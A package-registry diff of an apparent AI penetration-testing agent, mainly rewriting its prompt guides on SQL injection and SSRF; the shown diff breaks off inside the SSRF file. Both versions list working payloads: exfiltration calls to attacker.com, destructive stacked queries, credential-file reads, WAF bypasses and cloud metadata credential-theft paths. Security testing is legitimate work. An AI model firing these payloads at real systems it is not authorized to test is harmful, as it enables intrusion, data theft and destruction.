strix-agent 0.1.18__py3-none-any.whl → 0.3.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of strix-agent might be problematic. Click here for more details.

Files changed (68) hide show
  1. strix/agents/StrixAgent/strix_agent.py +49 -39
  2. strix/agents/StrixAgent/system_prompt.jinja +23 -10
  3. strix/agents/base_agent.py +90 -10
  4. strix/agents/state.py +23 -2
  5. strix/interface/cli.py +171 -0
  6. strix/interface/main.py +482 -0
  7. strix/{cli → interface}/tool_components/base_renderer.py +2 -2
  8. strix/{cli → interface}/tool_components/reporting_renderer.py +2 -1
  9. strix/{cli → interface}/tool_components/scan_info_renderer.py +17 -12
  10. strix/{cli/app.py → interface/tui.py} +107 -31
  11. strix/interface/utils.py +435 -0
  12. strix/prompts/README.md +64 -0
  13. strix/prompts/__init__.py +1 -1
  14. strix/prompts/cloud/.gitkeep +0 -0
  15. strix/prompts/custom/.gitkeep +0 -0
  16. strix/prompts/frameworks/fastapi.jinja +142 -0
  17. strix/prompts/frameworks/nextjs.jinja +126 -0
  18. strix/prompts/protocols/graphql.jinja +215 -0
  19. strix/prompts/reconnaissance/.gitkeep +0 -0
  20. strix/prompts/technologies/firebase_firestore.jinja +177 -0
  21. strix/prompts/technologies/supabase.jinja +189 -0
  22. strix/prompts/vulnerabilities/authentication_jwt.jinja +133 -115
  23. strix/prompts/vulnerabilities/broken_function_level_authorization.jinja +146 -0
  24. strix/prompts/vulnerabilities/business_logic.jinja +146 -118
  25. strix/prompts/vulnerabilities/csrf.jinja +137 -131
  26. strix/prompts/vulnerabilities/idor.jinja +149 -118
  27. strix/prompts/vulnerabilities/insecure_file_uploads.jinja +188 -0
  28. strix/prompts/vulnerabilities/mass_assignment.jinja +141 -0
  29. strix/prompts/vulnerabilities/path_traversal_lfi_rfi.jinja +142 -0
  30. strix/prompts/vulnerabilities/race_conditions.jinja +135 -165
  31. strix/prompts/vulnerabilities/rce.jinja +128 -180
  32. strix/prompts/vulnerabilities/sql_injection.jinja +128 -192
  33. strix/prompts/vulnerabilities/ssrf.jinja +118 -151
  34. strix/prompts/vulnerabilities/xss.jinja +144 -196
  35. strix/prompts/vulnerabilities/xxe.jinja +151 -243
  36. strix/runtime/docker_runtime.py +28 -7
  37. strix/runtime/runtime.py +4 -1
  38. strix/telemetry/__init__.py +4 -0
  39. strix/{cli → telemetry}/tracer.py +21 -9
  40. strix/tools/agents_graph/agents_graph_actions.py +17 -12
  41. strix/tools/agents_graph/agents_graph_actions_schema.xml +10 -14
  42. strix/tools/executor.py +1 -1
  43. strix/tools/finish/finish_actions.py +1 -1
  44. strix/tools/registry.py +1 -1
  45. strix/tools/reporting/reporting_actions.py +1 -1
  46. {strix_agent-0.1.18.dist-info → strix_agent-0.3.1.dist-info}/METADATA +95 -15
  47. strix_agent-0.3.1.dist-info/RECORD +115 -0
  48. strix_agent-0.3.1.dist-info/entry_points.txt +3 -0
  49. strix/cli/main.py +0 -702
  50. strix_agent-0.1.18.dist-info/RECORD +0 -99
  51. strix_agent-0.1.18.dist-info/entry_points.txt +0 -3
  52. /strix/{cli → interface}/__init__.py +0 -0
  53. /strix/{cli/assets/cli.tcss → interface/assets/tui_styles.tcss} +0 -0
  54. /strix/{cli → interface}/tool_components/__init__.py +0 -0
  55. /strix/{cli → interface}/tool_components/agents_graph_renderer.py +0 -0
  56. /strix/{cli → interface}/tool_components/browser_renderer.py +0 -0
  57. /strix/{cli → interface}/tool_components/file_edit_renderer.py +0 -0
  58. /strix/{cli → interface}/tool_components/finish_renderer.py +0 -0
  59. /strix/{cli → interface}/tool_components/notes_renderer.py +0 -0
  60. /strix/{cli → interface}/tool_components/proxy_renderer.py +0 -0
  61. /strix/{cli → interface}/tool_components/python_renderer.py +0 -0
  62. /strix/{cli → interface}/tool_components/registry.py +0 -0
  63. /strix/{cli → interface}/tool_components/terminal_renderer.py +0 -0
  64. /strix/{cli → interface}/tool_components/thinking_renderer.py +0 -0
  65. /strix/{cli → interface}/tool_components/user_message_renderer.py +0 -0
  66. /strix/{cli → interface}/tool_components/web_search_renderer.py +0 -0
  67. {strix_agent-0.1.18.dist-info → strix_agent-0.3.1.dist-info}/LICENSE +0 -0
  68. {strix_agent-0.1.18.dist-info → strix_agent-0.3.1.dist-info}/WHEEL +0 -0
@@ -1,215 +1,151 @@
1
1
  <sql_injection_guide>
2
- <title>SQL INJECTION - MASTER CLASS TECHNIQUES</title>
3
-
4
- <critical>SQL Injection = direct database access = game over.</critical>
5
-
6
- <injection_points>
7
- - URL parameters: ?id=1
8
- - POST body parameters
9
- - HTTP headers: User-Agent, Referer, X-Forwarded-For
10
- - Cookie values
11
- - JSON/XML payloads
12
- - File upload names
13
- - Session identifiers
14
- </injection_points>
15
-
16
- <detection_techniques>
17
- - Time-based: ' AND SLEEP(5)--
18
- - Boolean-based: ' AND '1'='1 vs ' AND '1'='2
19
- - Error-based: ' (provoke verbose errors)
20
- - Out-of-band: DNS/HTTP callbacks
21
- - Differential response: content length changes
22
- - Second-order: stored and triggered later
23
- </detection_techniques>
24
-
25
- <uncommon_contexts>
26
- - ORDER BY: (CASE WHEN condition THEN 1 ELSE 2 END)
27
- - GROUP BY: GROUP BY id HAVING 1=1--
28
- - INSERT: INSERT INTO users VALUES (1,'admin',(SELECT password FROM admins))--
29
- - UPDATE: UPDATE users SET email=(SELECT @@version) WHERE id=1
30
- - Functions: WHERE MATCH(title) AGAINST((SELECT password FROM users LIMIT 1))
31
- </uncommon_contexts>
32
-
33
- <basic_payloads>
34
- <union_based>
35
- ' UNION SELECT null--
36
- ' UNION SELECT null,null--
37
- ' UNION SELECT 1,2,3--
38
- ' UNION SELECT 1,@@version,3--
39
- ' UNION ALL SELECT 1,database(),3--
40
- </union_based>
41
-
42
- <error_based>
43
- ' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--
44
- ' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
45
- ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
46
- </error_based>
47
-
48
- <blind_boolean>
49
- ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
50
- ' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--
51
- ' AND (SELECT COUNT(*) FROM users)>5--
52
- </blind_boolean>
53
-
54
- <blind_time>
55
- ' AND IF(1=1,SLEEP(5),0)--
56
- ' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--
57
- '; WAITFOR DELAY '0:0:5'-- (MSSQL)
58
- '; SELECT pg_sleep(5)-- (PostgreSQL)
59
- </blind_time>
60
- </basic_payloads>
61
-
62
- <advanced_techniques>
63
- <stacked_queries>
64
- '; DROP TABLE users--
65
- '; INSERT INTO admins VALUES ('hacker','password')--
66
- '; UPDATE users SET password='hacked' WHERE username='admin'--
67
- </stacked_queries>
68
-
69
- <out_of_band>
70
- MySQL:
71
- ' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--
72
- ' UNION SELECT LOAD_FILE('/etc/passwd')--
73
-
74
- MSSQL:
75
- '; EXEC xp_dirtree '\\attacker.com\share'--
76
- '; EXEC xp_cmdshell 'nslookup attacker.com'--
77
-
78
- PostgreSQL:
79
- '; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')--
80
- </out_of_band>
81
-
82
- <file_operations>
83
- MySQL:
84
- ' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--
85
-
86
- MSSQL:
87
- '; EXEC xp_cmdshell 'type C:\Windows\win.ini'--
88
-
89
- PostgreSQL:
90
- '; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'--
91
- </file_operations>
92
- </advanced_techniques>
93
-
94
- <filter_bypasses>
95
- <space_bypass>
96
- - Comments: /**/
97
- - Parentheses: UNION(SELECT)
98
- - Backticks: UNION`SELECT`
99
- - Newlines: %0A, %0D
100
- - Tabs: %09
101
- </space_bypass>
102
-
103
- <keyword_bypass>
104
- - Case variation: UnIoN SeLeCt
105
- - Comments: UN/**/ION SE/**/LECT
106
- - Encoding: %55nion %53elect
107
- - Double words: UNUNIONION SESELECTLECT
108
- </keyword_bypass>
109
-
110
- <waf_bypasses>
111
- - HTTP Parameter Pollution: id=1&id=' UNION SELECT
112
- - JSON/XML format switching
113
- - Chunked encoding
114
- - Unicode normalization
115
- - Scientific notation: 1e0 UNION SELECT
116
- </waf_bypasses>
117
- </filter_bypasses>
118
-
119
- <specific_databases>
2
+ <title>SQL INJECTION</title>
3
+
4
+ <critical>SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.</critical>
5
+
6
+ <scope>
7
+ - Classic relational DBMS: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
8
+ - Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
9
+ - Integration paths: ORMs, query builders, stored procedures, search servers, reporting/exporters
10
+ </scope>
11
+
12
+ <methodology>
13
+ 1. Identify query shape: SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET, and whether user input influences identifiers vs values.
14
+ 2. Confirm injection class: reflective errors, boolean diffs, timing, or out-of-band callbacks. Choose the quietest reliable oracle.
15
+ 3. Establish a minimal extraction channel: UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS.
16
+ 4. Pivot to metadata and high-value tables, then target impactful write primitives (auth bypass, role changes, filesystem access) if feasible.
17
+ </methodology>
18
+
19
+ <injection_surfaces>
20
+ - Path/query/body/header/cookie; mixed encodings (URL, JSON, XML, multipart)
21
+ - Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
22
+ - Query builders: whereRaw/orderByRaw, string templates in ORMs; JSON coercion or array containment operators
23
+ - Batch/bulk endpoints and report generators that embed filters directly
24
+ </injection_surfaces>
25
+
26
+ <detection_channels>
27
+ - Error-based: provoke type/constraint/parser errors revealing stack/version/paths
28
+ - Boolean-based: pair requests differing only in predicate truth; diff status/body/length/ETag
29
+ - Time-based: SLEEP/pg_sleep/WAITFOR; use subselect gating to avoid global latency noise
30
+ - Out-of-band (OAST): DNS/HTTP callbacks via DB-specific primitives
31
+ </detection_channels>
32
+
33
+ <union_visibility>
34
+ - Determine column count and types via ORDER BY n and UNION SELECT null,...
35
+ - Align types with CAST/CONVERT; coerce to text/json for rendering
36
+ - When UNION is filtered, consider error-based or blind channels
37
+ </union_visibility>
38
+
39
+ <dbms_primitives>
120
40
  <mysql>
121
- - Version: @@version
122
- - Database: database()
123
- - User: user(), current_user()
124
- - Tables: information_schema.tables
125
- - Columns: information_schema.columns
41
+ - Version/user/db: @@version, database(), user(), current_user()
42
+ - Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
43
+ - File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
44
+ - OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
45
+ - Time: SLEEP(n), BENCHMARK
46
+ - JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak
126
47
  </mysql>
127
48
 
128
- <mssql>
129
- - Version: @@version
130
- - Database: db_name()
131
- - User: user_name(), system_user
132
- - Tables: sysobjects WHERE xtype='U'
133
- - Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE
134
- </mssql>
135
-
136
49
  <postgresql>
137
- - Version: version()
138
- - Database: current_database()
139
- - User: current_user
140
- - Tables: pg_tables
141
- - Command execution: CREATE EXTENSION
50
+ - Version/user/db: version(), current_user, current_database()
51
+ - Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
52
+ - OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
53
+ - Time: pg_sleep(n)
54
+ - Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
55
+ - JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction
142
56
  </postgresql>
143
57
 
58
+ <mssql>
59
+ - Version/db/user: @@version, db_name(), system_user, user_name()
60
+ - OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
61
+ - Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
62
+ - Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
63
+ - Error-based: convert/parse, divide by zero, FOR XML PATH leaks
64
+ </mssql>
65
+
144
66
  <oracle>
145
- - Version: SELECT banner FROM v$version
146
- - Database: SELECT ora_database_name FROM dual
147
- - User: SELECT user FROM dual
148
- - Tables: all_tables
67
+ - Version/db/user: banner from v$version, ora_database_name, user
68
+ - OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
69
+ - Time: dbms_lock.sleep(n)
70
+ - Error-based: to_number/to_date conversions, XMLType
71
+ - File: UTL_FILE with directory objects (privileged)
149
72
  </oracle>
150
- </specific_databases>
151
-
152
- <nosql_injection>
153
- <mongodb>
154
- {% raw %}{"username": {"$ne": null}, "password": {"$ne": null}}{% endraw %}
155
- {% raw %}{"$where": "this.username == 'admin'"}{% endraw %}
156
- {% raw %}{"username": {"$regex": "^admin"}}{% endraw %}
157
- </mongodb>
158
-
159
- <graphql>
160
- {users(where:{OR:[{id:1},{id:2}]}){id,password}}
161
- {__schema{types{name,fields{name}}}}
162
- </graphql>
163
- </nosql_injection>
164
-
165
- <automation>
166
- SQLMap flags:
167
- - Risk/Level: --risk=3 --level=5
168
- - Bypass WAF: --tamper=space2comment,between
169
- - OS Shell: --os-shell
170
- - Database dump: --dump-all
171
- - Specific technique: --technique=T (time-based)
172
- </automation>
73
+ </dbms_primitives>
74
+
75
+ <blind_extraction>
76
+ - Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
77
+ - Binary search on character space for fewer requests; encode outputs (hex/base64) to normalize
78
+ - Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)
79
+ </blind_extraction>
80
+
81
+ <out_of_band>
82
+ - Prefer OAST to minimize noise and bypass strict response paths; embed data in DNS labels or HTTP query params
83
+ - MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a; Oracle: UTL_HTTP.REQUEST('http://<data>.attacker'); MySQL: LOAD_FILE with UNC
84
+ </out_of_band>
85
+
86
+ <write_primitives>
87
+ - Auth bypass: inject OR-based tautologies or subselects into login checks
88
+ - Privilege changes: update role/plan/feature flags when UPDATE is injectable
89
+ - File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection; aim for webroot only when feasible and legal
90
+ - Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
91
+ </write_primitives>
92
+
93
+ <waf_and_parser_bypasses>
94
+ - Whitespace/spacing: /**/, /**/!00000, comments, newlines, tabs, 0xe3 0x80 0x80 (ideographic space)
95
+ - Keyword splitting/concatenation: UN/**/ION, U%4eION, backticks/quotes, case folding
96
+ - Numeric tricks: scientific notation, signed/unsigned, hex (0x61646d696e)
97
+ - Encodings: double URL encoding, mixed Unicode normalizations (NFKC/NFD), char()/CONCAT_ws to build tokens
98
+ - Clause relocation: subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape
99
+ </waf_and_parser_bypasses>
100
+
101
+ <orm_and_query_builders>
102
+ - Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
103
+ - Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
104
+ - JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
105
+ - Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))
106
+ </orm_and_query_builders>
107
+
108
+ <uncommon_contexts>
109
+ - ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
110
+ - LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
111
+ - Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
112
+ - XML/JSON functions: error generation via malformed documents/paths
113
+ </uncommon_contexts>
173
114
 
174
115
  <validation>
175
- To confirm SQL injection:
176
- 1. Demonstrate database version extraction
177
- 2. Show database/table enumeration
178
- 3. Extract actual data
179
- 4. Prove query manipulation
180
- 5. Document consistent exploitation
116
+ 1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates.
117
+ 2. Extract verifiable metadata (version, current user, database name) using the established channel.
118
+ 3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope.
119
+ 4. Provide reproducible requests that differ only in the injected fragment.
120
+ 5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant).
181
121
  </validation>
182
122
 
183
123
  <false_positives>
184
- NOT SQLi if:
185
- - Only generic errors
186
- - No time delays work
187
- - Same response for all payloads
188
- - Parameterized queries properly used
189
- - Input validation effective
124
+ - Generic errors unrelated to SQL parsing or constraints
125
+ - Static response sizes due to templating rather than predicate truth
126
+ - Artificial delays from network/CPU unrelated to injected function calls
127
+ - Parameterized queries with no string concatenation, verified by code review
190
128
  </false_positives>
191
129
 
192
130
  <impact>
193
- - Database content theft
194
- - Authentication bypass
195
- - Data manipulation
196
- - Command execution (xp_cmdshell)
197
- - File system access
198
- - Complete database takeover
131
+ - Direct data exfiltration and privacy/regulatory exposure
132
+ - Authentication and authorization bypass via manipulated predicates
133
+ - Server-side file access or command execution (platform/privilege dependent)
134
+ - Persistent supply-chain impact via modified data, jobs, or procedures
199
135
  </impact>
200
136
 
201
137
  <pro_tips>
202
- 1. Always try UNION SELECT first
203
- 2. Use sqlmap for automation
204
- 3. Test all HTTP headers
205
- 4. Try different encodings
206
- 5. Check for second-order SQLi
207
- 6. Test JSON/XML parameters
208
- 7. Look for error messages
209
- 8. Try time-based for blind
210
- 9. Check INSERT/UPDATE contexts
211
- 10. Focus on data extraction
138
+ 1. Pick the quietest reliable oracle first; avoid noisy long sleeps.
139
+ 2. Normalize responses (length/ETag/digest) to reduce variance when diffing.
140
+ 3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise.
141
+ 4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available.
142
+ 5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw.
143
+ 6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly.
144
+ 7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels.
145
+ 8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types.
146
+ 9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly.
147
+ 10. Document exact query shapes; defenses must match how the query is constructed, not assumptions.
212
148
  </pro_tips>
213
149
 
214
- <remember>Modern SQLi requires bypassing WAFs and dealing with complex queries. Focus on extracting sensitive data - passwords, API keys, PII. Time-based blind SQLi works when nothing else does.</remember>
150
+ <remember>Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.</remember>
215
151
  </sql_injection_guide>
@@ -1,168 +1,135 @@
1
1
  <ssrf_vulnerability_guide>
2
- <title>SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED EXPLOITATION</title>
3
-
4
- <critical>SSRF can lead to internal network access, cloud metadata theft, and complete infrastructure compromise.</critical>
5
-
6
- <common_injection_points>
7
- - URL parameters: url=, link=, path=, src=, href=, uri=
8
- - File import/export features
9
- - Webhooks and callbacks
10
- - PDF generators (wkhtmltopdf)
11
- - Image processing (ImageMagick)
12
- - Document parsers
13
- - Payment gateways (IPN callbacks)
14
- - Social media card generators
15
- - URL shorteners/expanders
16
- </common_injection_points>
17
-
18
- <hidden_contexts>
19
- - Referer headers in analytics
20
- - Link preview generation
21
- - RSS/Feed fetchers
22
- - Repository cloning (Git/SVN)
23
- - Package managers (npm, pip)
24
- - Calendar invites (ICS files)
25
- - OAuth redirect_uri
26
- - SAML endpoints
27
- - GraphQL field resolvers
28
- </hidden_contexts>
29
-
30
- <cloud_metadata>
2
+ <title>SERVER-SIDE REQUEST FORGERY (SSRF)</title>
3
+
4
+ <critical>SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.</critical>
5
+
6
+ <scope>
7
+ - Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
8
+ - Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
9
+ - Service-to-service hops through gateways and sidecars (envoy/nginx)
10
+ - Cloud and platform metadata endpoints, instance services, and control planes
11
+ </scope>
12
+
13
+ <methodology>
14
+ 1. Identify every user-influenced URL/host/path across web/mobile/API and background jobs. Include headers that trigger server-side fetches (link previews, analytics, crawler hooks).
15
+ 2. Establish a quiet oracle first (OAST DNS/HTTP callbacks). Then pivot to internal addressing (loopback, RFC1918, link-local, IPv6, hostnames) and protocol variations.
16
+ 3. Enumerate redirect behavior, header propagation, and method control (GET-only vs arbitrary). Test parser differentials across frameworks, CDNs, and language libraries.
17
+ 4. Target high-value services (metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels). Chain to write/exec primitives if possible.
18
+ </methodology>
19
+
20
+ <injection_surfaces>
21
+ - Direct URL params: url=, link=, fetch=, src=, webhook=, avatar=, image=
22
+ - Indirect sources: Open Graph/link previews, PDF/image renderers, server-side analytics (Referer trackers), import/export jobs, webhooks/callback verifiers
23
+ - Protocol-translating services: PDF via wkhtmltopdf/Chrome headless, image pipelines, document parsers, SSO validators, archive expanders
24
+ - Less obvious: GraphQL resolvers that fetch by URL, background crawlers, repository/package managers (git, npm, pip), calendar (ICS) fetchers
25
+ </injection_surfaces>
26
+
27
+ <cloud_and_platforms>
31
28
  <aws>
32
- Legacy: http://169.254.169.254/latest/meta-data/
33
- IMDSv2: Requires token but check if app proxies headers
34
- Key targets: /iam/security-credentials/, /user-data/
29
+ - IMDSv1: http://169.254.169.254/latest/meta-data/ → {% raw %}/iam/security-credentials/{role}{% endraw %}, {% raw %}/user-data{% endraw %}
30
+ - IMDSv2: requires token via PUT {% raw %}/latest/api/token{% endraw %} with header {% raw %}X-aws-ec2-metadata-token-ttl-seconds{% endraw %}, then include {% raw %}X-aws-ec2-metadata-token{% endraw %} on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can
31
+ - ECS/EKS task credentials: {% raw %}http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI{% endraw %}
35
32
  </aws>
36
33
 
37
- <google_cloud>
38
- http://metadata.google.internal/computeMetadata/v1/
39
- Requires: Metadata-Flavor: Google header
40
- Target: /instance/service-accounts/default/token
41
- </google_cloud>
34
+ <gcp>
35
+ - Endpoint: http://metadata.google.internal/computeMetadata/v1/
36
+ - Required header: {% raw %}Metadata-Flavor: Google{% endraw %}
37
+ - Target: {% raw %}/instance/service-accounts/default/token{% endraw %}
38
+ </gcp>
42
39
 
43
40
  <azure>
44
- http://169.254.169.254/metadata/instance?api-version=2021-02-01
45
- Requires: Metadata: true header
46
- OAuth: /metadata/identity/oauth2/token
41
+ - Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01
42
+ - Required header: {% raw %}Metadata: true{% endraw %}
43
+ - MSI OAuth: {% raw %}/metadata/identity/oauth2/token{% endraw %}
47
44
  </azure>
48
- </cloud_metadata>
49
-
50
- <internal_services>
51
- <port_scanning>
52
- Common ports: 21,22,80,443,445,1433,3306,3389,5432,6379,8080,9200,27017
53
- </port_scanning>
54
-
55
- <service_fingerprinting>
56
- - Elasticsearch: http://localhost:9200/_cat/indices
57
- - Redis: dict://localhost:6379/INFO
58
- - MongoDB: http://localhost:27017/test
59
- - Docker: http://localhost:2375/v1.24/containers/json
60
- - Kubernetes: https://kubernetes.default.svc/api/v1/
61
- </service_fingerprinting>
62
- </internal_services>
45
+
46
+ <kubernetes>
47
+ - Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe {% raw %}/pods{% endraw %}, {% raw %}/metrics{% endraw %}, exec/attach endpoints
48
+ - API server: https://kubernetes.default.svc/. Authorization often needs the service account token; SSRF that propagates headers/cookies may reuse them
49
+ - Service discovery: attempt cluster DNS names (svc.cluster.local) and default services (kube-dns, metrics-server)
50
+ </kubernetes>
51
+ </cloud_and_platforms>
52
+
53
+ <internal_targets>
54
+ - Docker API: http://localhost:2375/v1.24/containers/json (no TLS variants often internal-only)
55
+ - Redis/Memcached: dict://localhost:11211/stat, gopher payloads to Redis on 6379
56
+ - Elasticsearch/OpenSearch: http://localhost:9200/_cat/indices
57
+ - Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
58
+ - FastCGI/PHP-FPM: gopher://localhost:9000/ (craft records for file write/exec when app routes to FPM)
59
+ </internal_targets>
63
60
 
64
61
  <protocol_exploitation>
65
62
  <gopher>
66
- Redis RCE, SMTP injection, FastCGI exploitation
63
+ - Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI). Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
67
64
  </gopher>
68
65
 
69
- <file>
70
- file:///etc/passwd, file:///proc/self/environ
71
- </file>
72
-
73
- <dict>
74
- dict://localhost:11211/stat (Memcached)
75
- </dict>
76
- </protocol_exploitation>
77
-
78
- <bypass_techniques>
79
- <dns_rebinding>
80
- First request → your server, second → 127.0.0.1
81
- </dns_rebinding>
82
-
83
- <encoding_tricks>
84
- - Decimal IP: http://2130706433/ (127.0.0.1)
85
- - Octal: http://0177.0.0.1/
86
- - Hex: http://0x7f.0x0.0x0.0x1/
87
- - IPv6: http://[::1]/, http://[::ffff:127.0.0.1]/
88
- </encoding_tricks>
89
-
90
- <url_parser_confusion>
91
- - Authority: http://expected@evil/
92
- - Unicode: http://⑯⑨。②⑤④。⑯⑨。②⑤④/
93
- </url_parser_confusion>
94
-
95
- <redirect_chains>
96
- 302 yourserver.com 169.254.169.254
97
- </redirect_chains>
98
- </bypass_techniques>
99
-
100
- <advanced_techniques>
101
- <blind_ssrf>
102
- - DNS exfiltration: http://$(hostname).attacker.com/
103
- - Timing attacks for network mapping
104
- - Error-based detection
105
- </blind_ssrf>
106
-
107
- <ssrf_to_rce>
108
- - Redis: gopher://localhost:6379/ (cron injection)
109
- - Memcached: gopher://localhost:11211/
110
- - FastCGI: gopher://localhost:9000/
111
- </ssrf_to_rce>
112
- </advanced_techniques>
113
-
114
- <filter_bypasses>
115
- <localhost>
116
- 127.1, 0177.0.0.1, 0x7f000001, 2130706433, 127.0.0.0/8, localtest.me
117
- </localhost>
118
-
119
- <parser_differentials>
120
- http://evil.com#@good.com/, http:evil.com
121
- </parser_differentials>
122
-
123
- <protocols>
124
- dict://, gopher://, ftp://, file://, jar://, netdoc://
125
- </protocols>
126
- </filter_bypasses>
127
-
128
- <validation_techniques>
129
- To confirm SSRF:
130
- 1. External callbacks (DNS/HTTP)
131
- 2. Internal network access (different responses)
132
- 3. Time-based detection (timeouts)
133
- 4. Cloud metadata retrieval
134
- 5. Protocol differentiation
135
- </validation_techniques>
136
-
137
- <false_positive_indicators>
138
- NOT SSRF if:
139
- - Only client-side redirects
140
- - Whitelist properly blocking
141
- - Generic errors for all URLs
142
- - No outbound requests made
143
- - Same-origin policy enforced
144
- </false_positive_indicators>
145
-
146
- <impact_demonstration>
147
- - Cloud credential theft (AWS/GCP/Azure)
148
- - Internal admin panel access
149
- - Port scanning results
150
- - SSRF to RCE chain
151
- - Data exfiltration
152
- </impact_demonstration>
66
+ <file_and_wrappers>
67
+ - file:///etc/passwd, file:///proc/self/environ when libraries allow file handlers
68
+ - jar:, netdoc:, smb:// and language-specific wrappers (php://, expect://) where enabled
69
+ </file_and_wrappers>
70
+
71
+ <parser_and_filter_bypasses>
72
+ <address_variants>
73
+ - Loopback: 127.0.0.1, 127.1, 2130706433, 0x7f000001, ::1, [::ffff:127.0.0.1]
74
+ - RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16; test IPv6-mapped and mixed-notation forms
75
+ </address_variants>
76
+
77
+ <url_confusion>
78
+ - Userinfo and fragments: http://internal@attacker/ or http://attacker#@internal/
79
+ - Scheme-less/relative forms the server might complete internally: //169.254.169.254/
80
+ - Trailing dots and mixed case: internal. vs INTERNAL, Unicode dot lookalikes
81
+ </url_confusion>
82
+
83
+ <redirect_behavior>
84
+ - Allowlist only applied pre-redirect: 302 from attacker → internal host. Test multi-hop and protocol switches (http→file/gopher via custom clients)
85
+ </redirect_behavior>
86
+
87
+ <header_and_method_control>
88
+ - Some sinks reflect or allow CRLF-injection into the request line/headers; if arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
89
+ </header_and_method_control>
90
+
91
+ <blind_and_mapping>
92
+ - Use OAST (DNS/HTTP) to confirm egress. Derive internal reachability from timing, response size, TLS errors, and ETag differences
93
+ - Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
94
+ </blind_and_mapping>
95
+
96
+ <chaining>
97
+ - SSRF → Metadata creds → cloud API access (list buckets, read secrets)
98
+ - SSRF → Redis/FCGI/Docker → file write/command execution → shell
99
+ - SSRF Kubelet/API → pod list/logs → token/secret discovery → lateral
100
+ </chaining>
101
+
102
+ <validation>
103
+ 1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences).
104
+ 2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service.
105
